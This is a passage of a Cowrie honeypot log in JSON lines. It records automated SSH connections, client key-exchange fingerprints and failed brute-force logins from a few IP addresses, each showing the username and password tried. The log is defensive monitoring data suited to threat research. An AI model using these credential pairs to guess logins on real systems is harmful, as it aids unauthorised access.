84","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:21.542073Z","src_ip":"91.92.42.227","session":"e1807b8a736c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:21.839513Z","src_ip":"45.156.87.147","session":"3820efd8cb43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gorod","password":"gorod123","message":"login attempt [gorod/gorod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:22.177819Z","src_ip":"103.252.123.105","session":"3385c03b07b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:23.408879Z","src_ip":"103.252.123.105","session":"3385c03b07b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:26.346996Z","src_ip":"91.92.42.227","session":"e1807b8a736c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55648,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba26c265ec9","protocol":"ssh","message":"New connection: 45.156.87.147:55648 (10.17.0.5:22) [session: dba26c265ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:26.364444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:26.368781Z","src_ip":"45.156.87.147","session":"dba26c265ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:26.450503Z","src_ip":"45.156.87.147","session":"dba26c265ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:26.707637Z","src_ip":"45.156.87.147","session":"dba26c265ec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0c141c609f","protocol":"ssh","message":"New connection: 91.92.42.227:49776 (10.17.0.5:22) [session: 2d0c141c609f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:27.190731Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:27.790970Z","src_ip":"45.156.87.147","session":"dba26c265ec9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:28.282064Z","src_ip":"91.92.42.227","session":"2d0c141c609f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:28.285836Z","src_ip":"91.92.42.227","session":"2d0c141c609f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:28.547427Z","src_ip":"91.92.42.227","session":"e1807b8a736c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ca40de2e07","protocol":"ssh","message":"New connection: 45.156.87.147:53026 (10.17.0.5:22) [session: e4ca40de2e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:32.506216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:32.510301Z","src_ip":"45.156.87.147","session":"e4ca40de2e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:32.596906Z","src_ip":"45.156.87.147","session":"e4ca40de2e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:32.846990Z","src_ip":"45.156.87.147","session":"e4ca40de2e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"1q2w3e4r","message":"login attempt [gabriel/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:33.830420Z","src_ip":"91.92.42.227","session":"2d0c141c609f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:33.933252Z","src_ip":"45.156.87.147","session":"e4ca40de2e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49826,"dst_ip":"10.17.0.5","dst_port":22,"session":"90faa1ae47f2","protocol":"ssh","message":"New connection: 91.92.42.227:49826 (10.17.0.5:22) [session: 90faa1ae47f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:33.956448Z"}
{"eventid":"cowrie.session.closed","duration":32.06238865852356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:35.047271Z","src_ip":"172.81.62.90","session":"190e019e1ee4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:35.256711Z","src_ip":"91.92.42.227","session":"90faa1ae47f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:35.259465Z","src_ip":"91.92.42.227","session":"90faa1ae47f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:36.209753Z","src_ip":"91.92.42.227","session":"2d0c141c609f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.75729560852051,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:36.858172Z","src_ip":"128.199.8.54","session":"901d7a21e65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"92751ea4e4da","protocol":"ssh","message":"New connection: 45.156.87.147:53048 (10.17.0.5:22) [session: 92751ea4e4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:38.535954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:38.540137Z","src_ip":"45.156.87.147","session":"92751ea4e4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:38.624404Z","src_ip":"45.156.87.147","session":"92751ea4e4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:38.884264Z","src_ip":"45.156.87.147","session":"92751ea4e4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:39.969641Z","src_ip":"45.156.87.147","session":"92751ea4e4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:41.401550Z","src_ip":"91.92.42.227","session":"90faa1ae47f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59840,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e5a1010912e","protocol":"ssh","message":"New connection: 91.92.42.227:59840 (10.17.0.5:22) [session: 0e5a1010912e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:42.321294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:43.345009Z","src_ip":"91.92.42.227","session":"0e5a1010912e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:43.348059Z","src_ip":"91.92.42.227","session":"0e5a1010912e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:43.472399Z","src_ip":"91.92.42.227","session":"90faa1ae47f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57822,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c990ff537a8","protocol":"ssh","message":"New connection: 45.156.87.147:57822 (10.17.0.5:22) [session: 0c990ff537a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:44.559227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:44.570233Z","src_ip":"45.156.87.147","session":"0c990ff537a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:44.646905Z","src_ip":"45.156.87.147","session":"0c990ff537a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:45.003908Z","src_ip":"45.156.87.147","session":"0c990ff537a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:46.087717Z","src_ip":"45.156.87.147","session":"0c990ff537a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:46.586606Z","src_ip":"91.92.42.227","session":"0e5a1010912e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:48.409693Z","src_ip":"91.92.42.227","session":"0e5a1010912e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40026,"dst_ip":"10.17.0.5","dst_port":22,"session":"5989e7869128","protocol":"ssh","message":"New connection: 91.92.42.227:40026 (10.17.0.5:22) [session: 5989e7869128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:48.923834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:50.112100Z","src_ip":"91.92.42.227","session":"5989e7869128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-